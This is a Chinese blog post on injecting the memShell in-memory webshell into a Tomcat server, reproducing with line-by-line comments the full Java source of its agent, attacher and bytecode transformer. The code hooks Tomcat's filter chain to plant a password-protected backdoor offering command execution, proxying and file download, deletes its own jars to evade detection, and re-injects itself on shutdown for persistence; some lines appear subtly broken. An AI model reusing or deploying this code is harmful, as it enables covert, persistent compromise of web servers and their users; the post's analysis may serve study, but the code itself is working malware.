tomcat进程注入

跟随上一篇《java进程注入》
这里使用memShell
https://github.com/rebeyond/memShell
将agent.jar和inject.jar放到tomcta的web目录下
在这里插入图片描述
然后输入命令注入
效果:
在这里插入图片描述
注入成功后
在这里插入图片描述
可以看到agent.jar文件为了防止发现,自动清除,而且重启电脑之后,内存马不死,继续可以使用

那么memShell分析
主要是下面三个类:
agent.java,Attach.java,Transformer.java
agent.java:

package net.rebeyond.memshell;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.Query;
import java.io.*;
import java.lang.instrument.Instrumentation;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.Arrays;
import java.util.Set;

public class Agent {
    public static String currentPath;
    public static String password = "qiezi";

    public static String className = "org.apache.catalina.core.ApplicationFilterChain";

    public static byte[] injectFileBytes = new byte[]{},agentFileBytes = new byte[]{};

    public static void agentmain(String agentArgs, Instrumentation inst){
        inst.addTransformer(new Transformer(),true);
        if (agentArgs.indexOf("^") >=0){     //字符串的开始位置找元素^找不到是-1.找到进入判断
            Agent.currentPath = agentArgs.split("\\^")[0]; //以^分割字符,返回分割好的字符串数组,然后得到数组第一个元素
            Agent.password = agentArgs.split("\\^")[1];  //以以^分割字符,返回分割好的字符串数组,然后得到数组第二个元素

        }else {
            Agent.currentPath = agentArgs;
        }
        System.out.println("Agent Main Done");
        Class[] loadedClasses = inst.getAllLoadedClasses();  //获得Instrumentation中的所有类
        for (Class c : loadedClasses){  //遍历
            if (c.getName().equals(className)){  //当等于"org.apache.catalina.core.ApplicationFilterChain"时进入if
                try{
                    inst.retransformClasses(c);  //重新加载,为了达到全部监视,像thread类是在java agent加载之前就已经加载了,所以需要再次加载
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }

        try {
            initLoad();   //初始化
            readInjectFile(Agent.currentPath);   //读取inject文件
            readAgentFile(Agent.currentPath);    //读取agent文件
            clear(Agent.currentPath);  //清除文件
        }catch (Exception e){

        }
        Agent.persist();   //持久化
    }

    //linux?
    public static void clear(String currentPath) throws Exception{   //清除
        Thread clearThread = new Thread(){   //创建清除线程
            String currentPath = Agent.currentPath;  //当前路径
            public void run(){
                try {
                    Thread.sleep(5000);   //线程等待
                    String injectFile = currentPath + "inject.jar";   //inject文件路径
                    String agentFile = currentPath + "agent.jar";     //agent文件路径
                    new File(injectFile).getCanonicalFile().delete();  //删除injectFiile文件
                    String OS = System.getProperty("os.name").toLowerCase();  //操作系统名
                    if (OS.indexOf("windows") >= 0){
                        try{
                            unlockFile(currentPath);  //windows采取foreceDelete.exe强制清除
                        }catch (Exception e){
                            //pass
                        }

                    }
                    new File(agentFile).delete();   //删除agentFile文件
                } catch (InterruptedException e) {
                    throw new RuntimeException(e);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }

            }
        };
        clearThread.start();   //开启清除线程
    }

    public static void unlockFile(String currentPath) throws Exception{
        String exePath = currentPath + "foreceDelete.exe";   //文件路径
        InputStream is = Agent.class.getClassLoader().getResourceAsStream("other/forcedelete.exe");  //获取资源输入流
        FileOutputStream fos = new FileOutputStream(new File(exePath).getCanonicalPath());  //标准文件输出流
        byte[] bytes = new byte[1024*100];
        int num =0;
        while ((num = is.read(bytes)) != -1){   //遍历
            fos.write(bytes,0,num);
            fos.flush();
        }
        fos.close();
        is.close();
        Process process = java.lang.Runtime.getRuntime().exec(exePath + " " + getCurrentPid());   //路径 pid
        try{
            process.waitFor();   //线程等待
        }catch (Exception e){
            e.printStackTrace();
        }
        new File(exePath).delete();    //文件删除
    }

    public static String getCurrentPid(){   //获得当前进程pid
        RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();
        return runtimeMXBean.getName().split("@")[0];
    }

    public static void initLoad() throws Exception{
        MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer();  //创建MBeanServer
        Set<ObjectName> objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"), Query.match(Query.attr("protocol"),Query.value("HTTP/1.1")));  //查询
        String host = InetAddress.getLocalHost().getHostAddress(); //根据本机名去/etc/hosts中获取对应ip,一般127.0.0.1
        String port = objectNames.iterator().next().getKeyProperty("port");  //获取端口
        String url = "http" + "://" + host + ":" + port;  //获取url
        String[] models = new String[] {"model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.",
                "model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" };  //模板
        for (String model : models){  //遍历
            String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model;
            openUrl(address);
        }
    }

    public static void readInjectFile(String filePath) throws Exception{
        String fileName = "inject.jar";    //定义文件名
        File f = new File(filePath + File.separator + fileName);   //创建File类对象,并执行路径
        if (!f.exists()){
            f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);  //文件不存在会在操作系统缓存临时目录进行创建
        }
        InputStream is = new FileInputStream(f);   //文件输入流
         byte[] bytes = new byte[1024*100];  //设置数组大小
         int num = 0;
         while ((num = is.read(bytes)) != -1){    //一行行读取然后赋值给num,值存在时候进入判断
             agentFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes,0,num)); //Arrays.copyOfRange(bytes,0,num) 第一个参数为要拷贝的数组,第二个参数为拷贝的开始位置(包含),第三个参数为拷贝的结束位置(不包含)
         }
         is.close();
    }

    static byte[] mergeByteArray(byte[]... byteArray){
        int totalLength = 0;    //定义整体长度
        for (int i = 0;i < byteArray.length;i++){       //遍历
            if (byteArray[i] == null){   //为空时候继续
                continue;
            }
            totalLength += byteArray[i].length;  //每个值长度相加,为总长度totalLength
        }

        byte[] result = new byte[totalLength];    //新建大小为totalLength的数组
        int cur = 0;
        for (int i = 0; i < byteArray.length;i++){
            if (byteArray[i] == null){
                continue;
            }
            System.arraycopy(byteArray[i],0,result,cur,byteArray[i].length);
            //数组之间的复制  arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
            //src:源数组  srcPos:源数组要复制的起始位置 dest:目的数组 destPos:目的数组放置的起始位置 length:复制的长度
            cur += byteArray[i].length;
        }
        return result;   //返回复制后的数组

    }
    public static void openUrl(String address) throws Exception{
        URL url = new URL(address);
        HttpURLConnection urlcon = (HttpURLConnection) url.openConnection(); //获取连接对象,并无创建连接
        urlcon.connect(); //建立连接
        InputStream is = urlcon.getInputStream();  //获取输入流
        BufferedReader buffer = new BufferedReader(new InputStreamReader(is)); //字符流读取
        StringBuffer bs = new StringBuffer();  //创建一个 StringBuffer 对象
        String l = null;
        while ((l=buffer.readLine())!=null){  //buffer.readLine()每次读取一行数据
            bs.append(l).append("/n");  //不为null时,加入
        }
    }

    public static void persist(){
        try {
            Thread t = new Thread(){
                public void run(){
                    try {
                        writeFiles("inject.jar", Agent.injectFileBytes);
                        writeFiles("agent.jar",Agent.agentFileBytes);
                        startInject();
                    } catch (Exception e) {
                        throw new RuntimeException(e);
                    }
                }
            };
            t.setName("shutdown Thread");
            Runtime.getRuntime().addShutdownHook(t);
            //这个方法是在jvm时候增加一个关闭的钩子,当jvm关闭的时候,会执行系统中已经设置的所以通过方法addshutdownhook添加的钩子,当系统执行完这些钩子后,jvm才会关闭
        }catch (Exception e){

        }
        }


    public static void startInject() throws Exception{
        Thread.sleep(2000);
        String tempFolder = System.getProperty("java.io.tmpdir");  //获取操作系统缓存临时目录
        String cmd = "java -jar" + tempFolder + File.separator + "inject.jar" + Agent.password;  //File.separator相当于'/'
        Runtime.getRuntime().exec(cmd);

    }



    public static void writeFiles(String fileName,byte[] data) throws Exception{
        String tempFolder = System.getProperty("java.io.tmpdir");  //获取系统缓存临时目录
        FileOutputStream fso = new FileOutputStream(tempFolder + File.separator + fileName); //文件输出流
        fso.write(data);
        fso.close();
    }

    public static void main(String[] args) {
        try{
            readAgentFile("e:/");
            String tempPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();  //Attach类的绝对路径
            String agentFile = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath().substring(0,tempPath.lastIndexOf("/"));
        }catch (Exception e){
            e.printStackTrace();
        }


    }

    public static void readAgentFile(String filePath) throws Exception{
        String fileName = "agent.jar";   //定义文件名
        File f = new File(filePath + File.separator + fileName);   //创建File类对象,指定路径
        if (!f.exists()){
            f = new File(System.getProperty("java.io.tmpdir")+File.separator+fileName);   //文件不存在会在操作系统缓存临时目录进行创建
        }
        InputStream is = new FileInputStream(f);
        byte[] bytes = new byte[1024 * 100];
        int num = 0;
        while ((num = is.read(bytes)) != -1){
            agentFileBytes = mergeByteArray(agentFileBytes,Arrays.copyOfRange(bytes,0,num));   //复制数组
        }
        is.close();
    }

}

Attach.java

package net.rebeyond.memshell;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.File;
import java.io.IOException;
import java.util.List;

public class Attach {
    public static void main(String[] args) throws IOException {
        if (args.length!=1){
            System.out.println("Usage:java -jar inject.jar password"); //当长度未达到1时候,说明没有输入password,提示
            return;
        }
        VirtualMachine vm = null;   //定义虚拟机vm
        List<VirtualMachineDescriptor> listAfter = null;  //一个描述虚拟机的容器类,配合VirtualMachine类完成各种功能
        List<VirtualMachineDescriptor> listBefore = null;
        listBefore = VirtualMachine.list();
        String password = args[0];    //和刚开始说的一样,args的第一位是password
        String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();  //执行.class文件,得到当前class的绝对路径,若是jar包就是得到jar的绝对路径
        currentPath = currentPath.substring(0,currentPath.lastIndexOf("/")+1); //返回获得路径  lastIndexOf("/")+1取得是/最后一次出现的后一位,也就是
        String agentFile = currentPath + "agent.jar"; //总路径
        agentFile = new File(agentFile).getCanonicalPath();  //getCanonicalPath()规范路径
        String agentArgs = currentPath;
        if (!password.equals("")||password!=null){
            agentArgs = agentArgs + "^" + password;
        }

        while (true){
            try{
                listAfter = VirtualMachine.list();
                if (listAfter.size() <= 0){
                    continue;
                }
                for (VirtualMachineDescriptor vmd : listAfter){    //遍历
                    if (!listBefore.contains(vmd)){   //如果 VM 有增加,我们就认为是被监控的 VM 启动了
                        VirtualMachine.attach(vmd);  //附加
                        listBefore.add(vmd);  //添加
                        System.out.println("[+]OK.i find a jvm.");
                        Thread.sleep(1000);
                        if (null != vm){
                            vm.loadAgent(agentFile,agentArgs);  //Attach API 远程加载
                            System.out.println("[+]memeShell is injected.");
                            vm.detach();  //jvm上删除一个代理
                            return;
                        }
                    }
                }
                Thread.sleep(5000);
            }catch (Exception e){
                e.printStackTrace();
            }

        }
    }
}

Transformer.java:

package net.rebeyond.memshell;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {


    @Override
    public byte[] transform(ClassLoader loader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
        if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)){
            try{
                Class a = Class.forName("javassist.CtClass"); //javassist是一个能处理Java字节码的类库,使用Javassist.CtClass来表示一个class文件,所以说CtClass类就是用来处理class文件的
                ClassPool cp = ClassPool.getDefault();  //ClassPool是CtClass对象的容器
                CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); //获得ApplicationFilterChain类
                CtMethod m = cc.getDeclaredMethod("internalDoFilter"); //获得方法
                m.addLocalVariable("elapsedTime",CtClass.longType); //定义属性,一个long类型的属性,名为elapsedTime
                m.insertBefore(readSource());  //通过insertBefore插入到方法内容的开始处
                byte[] byteCode = cc.toBytecode();  //转成字节类文件
                cc.detach();  //jvm上删除一个代理
                return byteCode;  //返回字节
            }catch (Exception e){
                System.out.println("error:"+e.getMessage());
            }
        }
        return null;
    }

    public String readSource(){
        StringBuilder source = new StringBuilder();  //创建空对象source
        InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt");   //类加载器从当前路径下的source.txt中加载资源
        InputStreamReader isr = new InputStreamReader(is);  //文件字节输入流,获取配置文件中内容
        String line = null;
        BufferedReader br = new BufferedReader(isr);  //文件缓存输入流
        try{
            while ((line=br.readLine()) != null){  //遍历添加
                source.append(line);   //将读出来的数据添加
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        return source.toString();   //返回值
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值